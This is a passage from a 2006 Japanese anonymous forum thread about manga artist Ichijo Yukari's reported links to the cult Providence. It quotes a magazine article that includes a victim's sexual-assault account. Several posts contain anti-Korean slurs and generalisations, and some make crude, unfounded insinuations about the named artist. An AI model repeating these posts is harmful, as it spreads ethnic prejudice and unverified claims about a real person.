悔しい?ww

394 :花と名無しさん:2006/08/03(木) 19:52:38 ID:???0
普通は韓国人なんてマイナー国民あげず、中国人にするよな

395 :花と名無しさん:2006/08/03(木) 19:53:50 ID:???0
韓国人留学生の件については媚韓ってわけじゃないんじゃいの?
前に新聞で読んだけど、ヨーロッパには韓国人の音楽留学生が沢山いるらしいよ。
日本人よりも多いとか。
そういう話を聞いて「あ、じゃあ韓国人出しといたほうがリアルかな?」程度に
思っただけじゃない?

396 :花と名無しさん:2006/08/03(木) 19:55:54 ID:???0
韓国人は、ライバルとして出すと
日本人より美しく日本人より優れてるキャラとして出さないと
圧力がかかって作品を捻じ曲げられるから
あまり作品に出したくないんだよね。
中国人ならストーリーの中で悪役で出しても
日本人に負けるライバルとして出しても
圧力はかからないけど。

397 :花と名無しさん:2006/08/03(木) 19:58:04 ID:???0
中国人にするとのだめのルイやメガネ君と被るからさけとこー
くらいの気持ちだったかも

398 :花と名無しさん:2006/08/03(木) 19:59:10 ID:???0
>>396
ヒカルの碁。。。

399 :花と名無しさん:2006/08/03(木) 20:00:12 ID:???0
>>393はいきなりどうしたんだw
またフィッシャーが来たのか?

400 :花と名無しさん:2006/08/03(木) 20:00:58 ID:???0
>>398
またあの捏造「まとめサイト」を貼られるよ('A`)

401 :花と名無しさん:2006/08/03(木) 20:02:12 ID:kZvs69NP0
昭和の時代に自分のアシスタントをりぼんから追い出したあと図々しく
漫画を描いてきた貴女に神様が罰を与えたんだわ。もう消えてくれ

402 :花と名無しさん:2006/08/03(木) 20:02:55 ID:???0
>>401
Kwsk!

403 :花と名無しさん:2006/08/03(木) 20:07:34 ID:???0
http://book.shinchosha.co.jp/shukanshincho/20060810/images/nakaduri_0810_big.gif

一条もからだもてあそばれた?
それともファンの少女を差し出して 幹部に抜擢された?

404 :花と名無しさん:2006/08/03(木) 20:08:20 ID:???0
芸術の分野では近年は結構金にあかせた韓国人留学生が急増したイメージがあるよ
オペラは全く知らんけど、バレエでもここ数年くらいで
ローザンヌの出場者が増えたなあって印象があるし
確かバイオリンの大きな大会でも、上位獲った子かその親がひと悶着起こして
ハン板でちょっと話題になったような記憶がうっすらとあって、
やることはさすが韓国だけど、でもここまで来れるくらいのレベルになったんだなあと思った
御大もそういうイメージで起用したんでないの?

405 :花と名無しさん:2006/08/03(木) 20:09:01 ID:???0
御大は若くて綺麗ではないから
弄ばれてはいないでしょう。

406 :花と名無しさん:2006/08/03(木) 20:10:38 ID:???0
芸術だけじゃなくて
語学留学でも、ただの団体旅行でも
韓国人激増だよ



407 :花と名無しさん:2006/08/03(木) 20:11:43 ID:???0
>>400
wwww

408 :花と名無しさん:2006/08/03(木) 20:17:25 ID:???0
>>406
経済力上昇と、世界に出て自国を広めましょう運動。
フィリピンやインドが出てこないのは宗教も関係あるかもしれない。

409 :花と名無しさん:2006/08/03(木) 20:26:55 ID:???0
>>408
宗教というより、あっちの金持ちは本物で、趣味の領域で上品にひっそりとやってる気がする。


410 :花と名無しさん:2006/08/03(木) 20:28:18 ID:kZvs69NP0
もう貴様は終わり!さいなら

411 :花と名無しさん:2006/08/03(木) 20:30:19 ID:???0
アシスタント光臨?

412 :花と名無しさん:2006/08/03(木) 20:31:33 ID:???0
よい機会じゃないですか。
どんどん吐いていってください>>410

413 :花と名無しさん:2006/08/03(木) 20:31:42 ID:???0
海外留学に行くとあちこちに韓国人急増。
そして日本人にストーカーしてくる。
韓国人イラネ。



414 :花と名無しさん:2006/08/03(木) 20:32:13 ID:???0
401、410 kwsk

415 :花と名無しさん:2006/08/03(木) 20:40:15 ID:???0
http://chorus.shueisha.co.jp/profile/index.html

416 :[特集]広告塔―― (6):2006/08/03(木) 20:46:18 ID:???0
>>179-183の続き
週刊新潮2006年8月10日号p.33 より

    広告塔の責任も追及

 また、他にも、
「医師ではないが、独自の技法で背骨の歪みを矯正してあらゆる病気を治すという治療師たちがいて、
全国各地で活動している団体がある。そこもキリスト教の教会傘下だと称していますが、体験者によれば、
パンフレットに“超能力で治す”と書いてあったらしい。しかも、一条さんが体験を漫画で紹介していた。
キリスト教なのに超能力というのも妙な話ですよね」(同)
 という話もあり、念のため件の団体主宰者に聞くと
「確かに一条さんの体験慢画をパンフレットに掲載しています。もちろん、ご本人から了解をもらって
ますよ。もう16年前からです。でも、うちは『摂理』とは関係ありません」
 との説明だったが、いずれにしろ、一条氏は以前から奇妙な団体に関心が深かつたようでもある。
 ともあれ、こと『摂理』に関しては、今後、大掛かりな刑事事件に発展しそうなだけに、問題は深刻だ。
 実際にワイセツ教祖から性的被害を受けたある女性は、自らが開設したHP上の手記にこう記している。
〈教祖は片言の日本語と仕草で服を脱ぐように指示し、私はとにかく教祖と2人きりだという緊張感ばかり
で言われるがままに服を脱いでしまいました。そこで上も下も触られ、キスされて部屋を出て
いかされました。(中略)また服を脱ぐよう命じられ、きっとまた健康チ」ェックかと思って
いたんですが、気がついたらSEXしていました。とても拒絶できる状態ではなく、なんだか知らない間に
という感じです〉


417 :[特集]広告塔―― (7):2006/08/03(木) 20:47:18 ID:???0
 渡辺弁護士が、改めてこう力説する。
「記者会見後、回数にしたら10回弱ほど教祖から性的暴行を受けたという元信者の方から、改めて連絡を
いただきました。必要があれば自分も声をあげたい、とね。被害者の意思次第ですが、やはり刑事告訴を
検討していきます」
しかも、同じく支援活動をしている恵泉女学園大学の川島堅二教授は、
「渡辺先生ほ、性的暴行被害に対して法的手段に出るだけでなく、広告塔になっていた著名人の責任追及も
していくお考えのようです」
 とも言うのだ。
 では、当の一条氏は何と言うか。が、ご本人は執筆で多忙だからと、代わって集英社の広報担当者が、
「確かに『天使のツラノカワ』執筆のため、聖書とキリスト教を勉強しようと教団を何度か取材し、
執筆後も行っていました。でも、作品が教団の宣伝でないことは読めば分かる。教団の機関紙に掲載されて
いたのは知らなかった。ここ3、4年は行っていない。騒ぎに巻き込まれて迷惑している、と
本人は言っています」
 とご本人のコメントを読み上げるのみ。
 しかし、コトはこれだけの社会問題である。仮に教祖のワイセツ犯罪に気づかなかったとしても、
やはり“知らなかった”で済む話ではあるまい。

<ここまで>

418 :花と名無しさん:2006/08/03(木) 20:49:40 ID:???0
時代は変わったなぁ。
10年前、欧州旅行したとき、ホテルで話して、一緒に市内観光した韓国人は、
「どこに行っても日本人か?と聞かれる。違う、コリアンだというと、それはどこだと反対に聞き返される」
「どこに行っても日本人はいるのに、コリアンはいない。」
「日本人じゃないとわかると、中国人かと聞かれる。」
と、何の脈絡もなく突然思い出したように何度もグチり、韓国の知名度の低さを嘆いていた。


419 :花と名無しさん:2006/08/03(木) 21:03:35 ID:???0
>>25
> ■2006年7月31日 (月)
>
> ・日刊ゲンダイ(夕刊紙)が、匿名による漫画編集者などの意見を掲載。
>    鄭はすでに韓国で国際手配されていて、日本でも近く準強姦容疑で刑事告訴されると
> いうが、ネット上のフリー百科事典「ウィキペディア」で、「『摂理』の広告塔として世間の
> 注目を集めた」と、少女漫画家が名指しされたから、大変だ。
>  この少女漫画家は30年以上のキャリアを持ち、原作がテレビドラマ化されるなど、少女
> 漫画界では5本の指に入る大物。カルト教団の広告塔となれば、シャレにならない。
> 「どうやら00年頃に、摂理がセックス教団とは知らずにかかわってしまったようです。
> 摂理側がどうやって彼女に接近したのかは分かりませんが、機関紙に作品が使われる
> などして、若い女性の勧誘に悪用されたらしい。確かに当時描いていた漫画は宗教色が
> 濃かった。摂理に影響されたんじゃないかともっぱらでした」(漫画誌編集者)。
>   元Jリーガーは「韓国人で今も熱心な信者」という話だ。
> 「摂理はこれまでにも地方局の女子アナや、信者のモデルを広告塔として利用し、東大、
> 京大、早大、慶大、上智大など有名大学の学生を中心に若者を勧誘してきました。ただ 、
> 女子アナの場合もそうですが、本人がカルト教団とは気づかずにイベントの司会を務め
> るなど、知らないうちに広告塔に仕立て上げられてしまうケースもある。この漫画家も、
> そうだった可能性があります」(事情通)。
>  熱心なファンはネット上の掲示板で「ウソでしょ?」「幻滅だ」なんてカンカンガクガクやって
> いる。当の少女漫画家は今のところ、何も語っていない。
>        ttp://gendai.net/?m=view&c=010&no=18112 全テキストは携帯版から

livedoor NEWS に全文が載っているよ。
 http://news.livedoor.com/webapp/journal/cid__2275014/detail?rd


420 :花と名無しさん:2006/08/03(木) 21:20:37 ID:???0
>>402
大矢ちきのことかと

421 :花と名無しさん:2006/08/03(木) 21:24:26 ID:???0
大矢さんは確かチケットぴあの編集長がイラストレーターとして彼女を
使いたいってことで引き抜かれたって本人が言ってたような。それなりに
大勢(「アルジャーノンに花束を」表紙絵とか)してるし

一時期相当影響与え合って絵柄がそっくりだったよね。

422 :花と名無しさん:2006/08/03(木) 21:29:36 ID:???0
あの花束の表紙、大矢さんだったんだ

423 :花と名無しさん:2006/08/03(木) 22:09:31 ID:???0
大矢ちきスレ
http://comic.2ch.net/rcomic/kako/1021/10210/1021093883.html

「呪一条」とか書かれててワロタ

424 :花と名無しさん:2006/08/03(木) 22:10:14 ID:???0
Yahoo!ニュース - 日本テレビ系 - 「摂理」にモデル部門 教祖が女性選別か
http://headlines.yahoo.co.jp/videonews/nnn/20060803/20060803-00000045-nnn-int.html [3日20時6分更新]

Yahoo!ニュース - フジテレビ系 - 韓国カルト教団「摂理」 韓国・ソウル市内の教会で定期集会
http://headlines.yahoo.co.jp/videonews/fnn/20060803/20060803-00000490-fnn-int.html [3日21時8分更新]

という具合に、今日もニュースになっている。
当分、摂理ニュースが続くだろう。

一条ゆかりの名前や顔が出る報道は、いまのところ週刊新潮くらいなものだが、
広告塔漫画家の道義的責任追及も、やがては出てくるだろうな。

425 :花と名無しさん:2006/08/03(木) 22:10:54 ID:???0
>>418
今は韓国有名だよね
主に悪い評判で


天ツラのキリスト教観が正規のキリスト教の概念ではなく、
世間一般が持つ軽薄なキリスト教のイメージでもなく、
摂理の世界観だと明らかに分かるというのは、
具体的にどういう部分でそう思うのか知りたい
摂理の人光臨してくれないかな

426 :花と名無しさん:2006/08/03(木) 22:13:19 ID:???0
>421
与え合ってなんかいないよ。御大がパクって奪っただけ。

427 :花と名無しさん:2006/08/03(木) 22:15:05 ID:???0
>>425
>>17-18に少しだけど出てる。

428 :花と名無しさん:2006/08/03(木) 22:24:02 ID:???0
一条ゆかり、チョソなの?
本人の自伝では、「超お金持ちの家のお嬢様だったが、一夜にしてビンボーになった」
とか言ってたが?

429 :花と名無しさん:2006/08/03(木) 22:43:56 ID:???0
正確には兄ちゃん姉ちゃんが小さかったころは羽振りが良かったけど
末っ子の典子(一条)が生まれた日に赤札がべたべたとはられに来た
生まれる前に借金地獄に落ちることが確定していたからもう少しで堕ろされるところだった

こんな感じ

430 :花と名無しさん:2006/08/03(木) 23:16:13 ID:???0
>>421
似てるも何も…朱鷺の執事、柾は大矢さんが描いてたし

431 :花と名無しさん:2006/08/03(木) 23:18:01 ID:???0
つーかめちゃめちゃショックなんですけど・・・・・・・・・

432 :花と名無しさん:2006/08/03(木) 23:25:19 ID:???0
【週刊新潮】韓国「ワイセツ教団」の広告塔「少女漫画の女王」一条ゆかりは「現役信者」!
http://news20.2ch.net/test/read.cgi/news/1154598879/l50

はーい新スレでーす

433 :花と名無しさん:2006/08/03(木) 23:47:16 ID:???0
おまえらファンサイトのBBSに書き込むなよw

http://yotsuba.saiin.net/~eiko/yukari/yybbs/yybbs.cgi

434 :花と名無しさん:2006/08/03(木) 23:53:03 ID:???0
わざわざageて、宣伝するな。

435 :花と名無しさん:2006/08/03(木) 23:54:13 ID:CrLl9b6G0
これ以上まじで一条先生の悪口を言うのは許しません
名誉毀損で告訴するからそのつもりでいてよね

436 :花と名無しさん:2006/08/04(金) 00:03:22 ID:???0
どうやって告訴?w

437 :花と名無しさん:2006/08/04(金) 00:03:31 ID:ksicsITO0
何もわからん若い子を教団に引き込んで教祖にレイプさせてる罪は大きい
決して許されるものではない

438 :花と名無しさん:2006/08/04(金) 00:04:46 ID:???0
>>430
ファッションショーのロックバンドも描いてるよ。あとこいきな奴ら
第一話の車泥棒とか

439 :花と名無しさん:2006/08/04(金) 00:12:04 ID:???0
釣り師が多いねw
しかし摂理情報が出る前から、けっこう一条叩かれてるんだがw
オペラなんてご大層なネタでスタートした割りに展開ショボいとか、
本人こだわりのタイトル「プライド」を使ったのは失敗とかw

最近雑誌紐しばり書店ばかりでチェックできてないんだけど
プライド、あと数回で終われるのかな?

440 :花と名無しさん:2006/08/04(金) 00:15:28 ID:???0
現代が今年だか去年だかの新春特別企画で、六本木(?)のお墓の見える高層マンションに
訪問してたけど、この別宅を持ってる理由が「いい男を連れ込む為のもの」と言っていて、
最初ハッタリかと思ってたけどこの宗教関係にハマってるならびつくりものの話。

441 :花と名無しさん:2006/08/04(金) 00:19:27 ID:???0
一条終わったな

442 :花と名無しさん:2006/08/04(金) 00:37:38 ID:???0
まだ終わったかはわからない。

443 :花と名無しさん:2006/08/04(金) 00:43:21 ID:???0
いま在庫を放出したらけっこう捌けるんじゃないかな>出版社各社
タイーホされる前に売りつくさなきゃブコフに頭下げて捨て値で引き取ってもらう羽目になるw

444 :花と名無しさん:2006/08/04(金) 00:44:19 ID:???0
上にもあったけど麗華さんみたく自ら漫画を勉強しなおすって海外に
行くんじゃない?韓国に。アシスタント入りした向こうの漫画家に
「日本はレベルが高いのねえ、こんな腕を持つ人がアシスタントだなんて」
って驚かれるの

445 :花と名無しさん:2006/08/04(金) 00:46:51 ID:???0
逮捕まで話が行ってるの?

446 :花と名無しさん:2006/08/04(金) 00:47:16 ID:???0
アホクサ

447 :花と名無しさん:2006/08/04(金) 00:47:35 ID:???0
プライドの続きが読みたいのになぁ。

448 :花と名無しさん:2006/08/04(金) 00:47:38 ID:???0
>>444
ネタか?

449 :花と名無しさん:2006/08/04(金) 00:51:08 ID:???0
【カルト】 「教義は統一協会の丸パクリ」
「韓国人には刷り込みなど相手をコントロールする能力たけた人多い」 苫米地氏分析 [08/03]
http://news18.2ch.net/test/read.cgi/news4plus/1154583910/l50

 韓国人教祖によって、複数の日本人女性が陵辱されていたことが明らかになった「摂理」
事件。その洗脳のメカニズムについて、元オウム真理教(現アーレフ)幹部の女性信者の
洗脳を解いたことで一躍、名をはせた苫米地氏に聞くと、「実は、私のもとに脱洗脳の相談に
来る人の中には、韓国のシャーマン系カルトの被害者が数多くいるんです」―。驚くべき言葉
が返ってきた。

 また、有名少女漫画家や元Jリーガーが広告塔となっているとされる点については「スポーツ
選手は洗脳にかかりやすい」と分析。「教団は、お金を持っていて社会的に有名な人を狙うので、
スポーツ選手やタレントは格好のターゲット。空間認知能力が高い方が精神世界への臨場感を
感じやすく、洗脳されやすい」と、かつて有名力士が洗脳騒動を巻き起こした例を挙げつつ、説明した。

450 :花と名無しさん:2006/08/04(金) 00:56:12 ID:???0
タイーホってはっきり節理の名前出して
コーラスで広告入れるくらいじゃないとされんだろう
なんか祭りにしたいがために大げさに煽る人がいるけど、
むしろ萎えるんだよねそういうの

451 :花と名無しさん:2006/08/04(金) 00:59:13 ID:???0
もう普通にちょっとした祭りだろ。


452 :花と名無しさん:2006/08/04(金) 01:27:05 ID:???O
もうコミクス再販無いんだろね

453 :花と名無しさん:2006/08/04(金) 01:29:03 ID:???0
ほとぼりが冷めた頃に、そ知らぬ顔でコミクス販売する集英に10000!

454 :花と名無しさん:2006/08/04(金) 01:30:04 ID:???0
嫌韓スレみたいになってない?
正直、普通の韓国人は嫌いじゃないけど、(まあべつに好きでもないが)
宗教は嫌いな自分みたいな人間は珍しいの?
韓国女性も被害にあってるのに、韓国全部悪いみたいに言うのもどうかと。

455 :花と名無しさん:2006/08/04(金) 01:32:59 ID:???0
ttp://yotsuba.saiin.net/~eiko/yukari/yybbs/yybbs.cgi 管理人さんが止めちゃったね。
ほんの一時間前には出ていたけど、さっきリロードしたらもうなかった。

456 :花と名無しさん:2006/08/04(金) 01:39:46 ID:???0
>>455
正直、こういう事件の時はもっと早くに停止してもよかったと思う。
管理人さん気の毒だし、一条漫画読まない煽りもやってくるので
通常の神経してたら、運営するの大変だよ。

457 :花と名無しさん:2006/08/04(金) 01:42:02 ID:???0
>>454
2chは韓国に関する事柄に拘る人が多いから。
それだけのことです。つか、それを承知で読み書きするのがデフォ。

458 :花と名無しさん:2006/08/04(金) 01:46:45 ID:???0
>>454
嫌韓の主張があったら、話半分で読んでればいいんでないの?
所詮2chのたわ言なんだから、真剣に考えると疲れちゃうよ。
真剣な気持ちなら、よーく文章読めば伝わるけど、煽りも多い。

459 :花と名無しさん:2006/08/04(金) 02:21:41 ID:???0
ショックだ・・・
ナンシー関と中嶋らもが亡くなったときの
1/5ぐらいショックだ・・・

460 :花と名無しさん:2006/08/04(金) 02:33:15 ID:???0
>>454
厨がスレに流れ込んでるみたい

461 :花と名無しさん:2006/08/04(金) 03:18:57 ID:???0
従来からのスレ住人さん、乙です・・・

まー他の板から色んな人がやってくるであろうことは、前スレでも予想されてた状況なんでw
たとえスレタイがどうあれ、こういう感じになったと思うし。
気の毒なのは懐漫板のスレまで出張されてることだけど、
あっちはスレ貼り付けぐらいですんでるからまだいいですよ。
(とりあえず現在は、プライドと天ツラ以前の作品の話なら、懐かし板ですね。)
摂理広告塔スレにもスレちがい板ちがいな書き込みは多いですし、
今の時期はこんなもんでしょう。
このスレが900くらいまでいったら、また次スレタイ考えましょう。

今後の展望としては、週刊新潮以外にも一条ゆかり氏について書く雑誌や新聞が出てくるかどうかで、
集英社の対処がはっきりするのではないかと思われます。
新潮社はもともと純文学系に近い出版社で、漫画雑誌の出版物があるわけではないので、
漫画家に対する見方がきびしくなるのはごもっともですが、記事は客観的な見方をしていると思いました。
あとは8/7(月曜)発売の週刊ポストとYomiuri Weeklyがどう出るか気になるところです。


462 :花と名無しさん:2006/08/04(金) 03:47:17 ID:???0
新潮社は借金ナシで同族経営だから世間的なタブーは存在しない。


463 :花と名無しさん:2006/08/04(金) 03:48:47 ID:???0
ポストは一ツ橋グループだもん出るわけないよ。
音羽グループや新潮グループは平気で一条つぶしに来るけど。

464 :花と名無しさん:2006/08/04(金) 04:03:34 ID:???0
ところで、ゆかりは今どこにいるんだ?
早くなんか言ってくれないと不安でしょうがない…

465 :花と名無しさん:2006/08/04(金) 04:05:37 ID:???0
>記事は客観的な見方をしていると思いました
全部2chのネット情報じゃん。その裏を取って歩いただけ。

466 :花と名無しさん:2006/08/04(金) 04:19:27 ID:???0
裏を取れてるだけたいしたもんだと思う。
噂話レベルでどっちつかずでいるより、本当に信者だったんだと
納得できたしな。

467 :花と名無しさん:2006/08/04(金) 04:34:28 ID:???0
>>464
ゆかりなら俺の隣りで寝息を(ry




……お約束ということでw

468 :花と名無しさん:2006/08/04(金) 04:35:24 ID:???0
新潮が出るまでTVメディアで広告塔漫画家に触ったのは
日テレのズームインだけなんだよな。
日テレでも8時からのや、草野さんのワイドショーでは広告塔には触れず。
新潮出た後は日テレでも触ってない。一芸能人だったらよってたかってたたくのに。
出版社やマスコミ同士の関係が透けて見える。この先触るところがあるかな。

469 :花と名無しさん:2006/08/04(金) 04:37:21 ID:???0
>>461
> あとは8/7(月曜)発売の週刊ポストとYomiuri Weeklyがどう出るか気になるところです。
弁護士団の一人が芸術祭とやらの記録を載せていたのが2002年の週刊ポスト
今週の始めに自宅突撃やった日本テレビ読売系ということでYomiuri Weekly
なのかな?

>>465-466
3〜4年前つまり天ツラ連載時の一条さん、ネットやってなかったんじゃないかな?
ネットで拾った材料のウラをとってみたらその通りだったんですよ、ではあるけど
ぶっちゃけ、ネットがなかったら、あっても今ほど普及してない時代だったら、
こんな短期間でバレることはなかっただろうし、ウラをとるのも難しかったと思う。


470 :花と名無しさん:2006/08/04(金) 04:49:22 ID:???0
>>152
>  8/4(金曜)発売の週刊誌
>  FRIDAY ttp://www.bitway.ne.jp/kodansha/friday/scoopengine/
>
>   8/7(月曜)発売の週刊誌
>  週刊ポスト(2002年に摂理の特集連載)ttp://www.weeklypost.com/060811jp/index.html
>  週刊現代 ttp://kodansha.cplaza.ne.jp/wgendai/
>  AERA  ttp://opendoors.asahi.com/aera/
>  Yomiuri Weekly ttp://info.yomiuri.co.jp/mag/yw/

そういえば>>419日刊ゲンダイも音羽系だね



471 :花と名無しさん:2006/08/04(金) 05:54:28 ID:???0
韓国に興味がでた方へ

ttp://photo.jijisama.org/index.html 朝鮮半島の写真
ttp://clashscan.hp.infoseek.co.jp/didi/index.html 日本と半島の歴史
ttp://s03.2log.net/home/kkk666/   法則について
ttp://freett.com/iu/memo/      ひとくちメモ
ttp://cool.kakiko.com/korea00/   韓国人とお仕事した、まとめ
ttp://blog.goo.ne.jp/pandiani   厳選情報
ttp://blog.livedoor.jp/mumur/    くわしいぶろぐ

472 :花と名無しさん:2006/08/04(金) 06:11:04 ID:???0
>>461
> 今後の展望としては、週刊新潮以外にも一条ゆかり氏について書く雑誌や新聞が出てくるかどうかで、
> 集英社の対処がはっきりするのではないかと思われます。

了解しますた

473 :花と名無しさん:2006/08/04(金) 06:52:16 ID:GJJO9wRrO
ぬぷ

474 :花と名無しさん:2006/08/04(金) 07:28:49 ID:???O
がっ!!

475 :花と名無しさん:2006/08/04(金) 07:29:47 ID:???0
>468
単に一般的知名度がその程度の漫画家だからスルー…かな。
どうせワイドショーはボクシングの八百長疑惑と大阪の監禁男の
話題の方が今は人目を引くからそっちだろ。

476 :花と名無しさん:2006/08/04(金) 07:35:28 ID:???0
一条クラスでも、世間の扱いは低いんだなって思った。
ワイドショーとかであんまり騒がないしね。
やっぱり少女マンガ家って世間であんまり地位ないんだよな。

これが有名小説家だったらもっと騒がれてたと思う。

477 :花と名無しさん:2006/08/04(金) 07:43:40 ID:???0
>>475-476
一条ゆかりが一般レベルでは知名度的に低いから、っていうより、
一般の人たちにとっては摂理の事件は「セックス教団」「ワイセツ教団」で、
広告塔の漫画家については関心がいまいちなんだよ。
実際、広告塔の漫画家という言葉すら出ないニュース番組や新聞雑誌の方が多いんだから。


478 :花と名無しさん:2006/08/04(金) 08:17:31 ID:???O
勧誘方法も大学別マニュアル、一般的サークル活動のほうが
報道されがち。私は一条に勧誘されて
教団に入り、性的暴行も受けたという
元信者でも出ない限り、フェイドアウトしそう。

479 :花と名無しさん:2006/08/04(金) 08:23:04 ID:???O
昨日発売の週間新潮は特集してたぞ
新聞広告にもデカデカと御大のお名前と顔写真が

480 :花と名無しさん:2006/08/04(金) 08:26:52 ID:vUh3CRzVO
新潮だけだとダメだよ。他も追随しないと。

481 :花と名無しさん:2006/08/04(金) 08:35:35 ID:???O
>479
そんなこととっくにわかってる

482 :花と名無しさん:2006/08/04(金) 08:47:17 ID:???0
>>478
新潮記事によると、被害者支援をしている弁護士が、
性的暴行については刑事告訴する予定で
漫画家に対しても広告塔となった責任追及する考えでいるとのこと。

告訴って、教団を訴えるということなんだろうな。
だけど、教祖が逃亡中、日本側の幹部も潜伏中では、裁判も出来ないのでは?
教団そのものを強制的に解散させるにしても、宗教法人ってわけじゃなく単なる一般団体だし。
まあ、そこいらへんは、何らかの法的措置が取れるからこそ、告訴すると言ってるんだろうな弁護士。

で、漫画家に対しても広告塔となった責任を追及、の件だが、
入信者の一人として勧誘伝導活動にあたっていたという裏付けが取れたとしたら、
教団側のスタッフの何々罪の共犯として起訴ということもあり得るだろう。
“広告塔”では、いきなり何々罪の共犯として起訴というのは、むずかしそうに思えるが、
一条ゆかりの活動内容について、被害者の具体的な証言がそろえば、それも可能だろう。
だからこそ弁護士が責任追及するとかを言っているのだろう。

483 :花と名無しさん:2006/08/04(金) 08:49:43 ID:???0
まずは、法的責任ではなく、道義的責任というものを問われることになるのだろうね。
性的暴行が行われていたこと等を、仮に一条ゆかりが知らなかったとしても、
現在入信中であろうとなかろうと、
有名人として教団に協力してしまったことは事実なのだから。

道義的責任の取り方としては、
少なくとも、謝罪声明を公表すること。
新たな執筆作品の公開を始めとする、漫画家としての活動は、当分自粛すること。

集英社は、直接的な責任はないが、
一条ゆかりの漫画を世間に広めた立場なのだから、
一条ゆかりが謝罪声明を出す方向へ協力するべきだね。
一条ゆかりに対して、当分の間執筆活動の自粛を促すことも、集英社の義務だろう。

言うまでもないが、一条ゆかりも集英社も、弁護士から正式に勧告される前に、
謝罪と反省の意志を公表するべき。

484 :花と名無しさん:2006/08/04(金) 08:59:51 ID:???0
「俺は摂理信者だけど〜」みたいな人の意見を総合すると
一条が今も摂理と接触してるというのと、パンフに執筆というのだけが
ウソで、それ以外の情報はガチってことかい?
**********************************************

× 一条ゆかりが摂理の勧誘パンフに執筆

○ 一条ゆかりが、キリスト教信者の女子大生を主人公にした少女漫画
 「天使のツラノカワ」を描く際に、取材先にしていた宗教が
 韓国系カルトキリスト教の「摂理」だった。

○ 何度か摂理のイベントや会合に一条ゆかりは参加してた。

○ 摂理信者には
 「天使のツラノカワ」に摂理の教えが載っていると感銘を
 受ける人や、勧誘に使う人がいた。
 摂理の教えとは違うと怒る人もいた。

× 今も一条は摂理の熱心な信者。

○ ここ3年くらいは一条ゆかりは摂理と接触していない。

485 :花と名無しさん:2006/08/04(金) 09:01:43 ID:MmlnHiJdO
もういいじゃん
少女漫画界の巨匠だよ一条は
辞めたって暮らせるだろ?一般人に戻ってひっそり暮らせ

486 :花と名無しさん:2006/08/04(金) 09:04:57 ID:???0
>>485
まあ少なくとも向こう1ケ月くらいは、ひっそりと暮らすしかないな。
あと
次号のコーラスがどうなっているかが気になる。

487 :花と名無しさん:2006/08/04(金) 09:07:44 ID:???0
高学歴足長色白美女を狙って勧誘してたというが
天ツラをエサにされてインチキ宗教にひっかかる女って
どちらかというとクルッパーじゃね?

488 :花と名無しさん:2006/08/04(金) 09:11:05 ID:???0
>>484
新潮記事(ウラを取った部分)を参照すると、

△ 一条ゆかりが摂理の勧誘パンフに執筆

○ 一条ゆかりが、キリスト教信者の女子大生を主人公にした少女漫画
 「天使のツラノカワ」を描く際に、取材先にしていた宗教が
 韓国系カルトキリスト教の「摂理」だった。

○ 何度か摂理のイベントや会合に一条ゆかりは参加してた。

△ 摂理信者には
 「天使のツラノカワ」に摂理の教えが載っていると感銘を
 受ける人や、勧誘に使う人がいた。
 摂理の教えとは違うと怒る人もいた。

△ 今も一条は摂理の熱心な信者。

△ ここ3年くらいは一条ゆかりは摂理と接触していない。




○ 一条本人は「騒ぎに巻き込まれて迷惑している」と集英社公報を通じてコメント

489 :花と名無しさん:2006/08/04(金) 09:17:02 ID:???0
>>487
スレ違いかもしれないが、
成績はまあまあ、ルックスもまあまあ、ってことでしょ。
昔よりは垢抜けた女の子多くなったし。
ただ、ネット時代でもあるし、リアルでは友達が少ない、いない、って子はふえたと思う。
サークルで親しくなった同年代の仲間との交流という魅力に釣られたと思う。
天ツラの美花みたいな、誰とでも友達になれてしまいそうなタイプなんて実在しないだろう。
何かの勧誘などの下心があるヤツを別にしたら。

490 :花と名無しさん:2006/08/04(金) 09:17:39 ID:???0
>>488
「俺は摂理の信者だけど一条さんは関係ないよw」
と2ちゃんに書く胡散臭い男なんかよりも
ちゃんと取材して裏を取った部分を新潮に載せてる記事のほうが
ずっと信憑性がありますね。


>>487
洗脳する人達の団結力や恐ろしさを知らないから
「被害者がクルクルパーなんだろ」って言えるんだろうな。('A`)

491 :花と名無しさん:2006/08/04(金) 09:27:19 ID:???0
池田理代子の不倫失踪事件思い出しちゃった。
ワイドショーなんかも結構騒いで、結局大阪のクリーニング屋で働いてたってオチ。
一条はもっとリッチな隠れ方してるよね。
自分を貶めるような潜伏型は「プライド」が許さないだろう。

まあ不倫と違って一条の場合は一度はでてきて釈明すべきと思うけど。
このままほとぼりが冷めるまで逃げてたら無責任だよ。

492 :花と名無しさん:2006/08/04(金) 09:32:09 ID:???0
本当に「知らずにちょっと取材しただけ、現在は疎遠」ならインパクト薄いし
ワイドショーも週刊誌も食いつき悪そう。
なんだかんだでプライドは人気作品だし、連載終了まではいかない気がする。

493 :花と名無しさん:2006/08/04(金) 09:36:50 ID:???0
週刊誌の記事を鵜呑みにするのもどうだろう
2ちゃんネタを裏付けの一部にしてるし、デカイ見出しのわりに内容が希薄。
ようするにネタがないんじゃないの?

「一条さんは現役信者ですよ。本人は否定するだろうけど」
ってコメント出した関係者とやらも、なぜ本人は否定すると考えたのか疑問。
一条本人は、もう無関係のつもりで何年も集会に行ってなくても、
退会手続きしてない人は信者扱いってシステムなんじゃないの?

494 :花と名無しさん:2006/08/04(金) 09:46:19 ID:???0
>>491
ああ、そういえばそんなこともあったよねえ。
確か、雑誌の仕事を放り出しての失踪で、
一ケ月か二ケ月くらいたってから、
大阪の文化住宅とかいう小さな貸家で暮らしていたのを発見されて、
でもその後すぐ復帰することになって、
アイドル芸能人並に、水着姿を含む写真集みたいなビデオが発売された。
1980年代のことだった。池田さん30代後半だった。
聖徳太子とかナポレオンとかの偉人漫画を描いたのは、その失踪前後のことだったと思う。
んで、1990年代には、40代後半って言う年で音大に入って、
2000年代になったら、50過ぎてたけど、オペラを歌う歌手に・・・・
漫画の方は、アシスタント任せになってて、もう長編は描いてないけどね。

一条御大の場合、来月には57歳。
あの年では、池田さん並の復活は、ムリポ。

今迄のアシさんが気の毒だ。


495 :花と名無しさん:2006/08/04(金) 09:47:53 ID:???0
たぶん教団内で
「一条さんも同じ信者だから〜」
とか言われると
「わたしは天使や教会に興味あるだけで、あんたたちとは違う」
などと、のたまって手を焼かせてたんじゃないかな

496 :花と名無しさん:2006/08/04(金) 10:05:45 ID:???0
まあ迂闊に名前使わせた責任はあるけど本人は別に儲とかじゃ
ないんだろ、実際。
ここで祭ってたって期待通りの騒ぎにはならんだろうね。

497 :花と名無しさん:2006/08/04(金) 10:06:30 ID:???0
>>493
> 週刊誌の記事を鵜呑みにするのもどうだろう
> 2ちゃんネタを裏付けの一部にしてるし、デカイ見出しのわりに内容が希薄。
> ようするにネタがないんじゃないの?
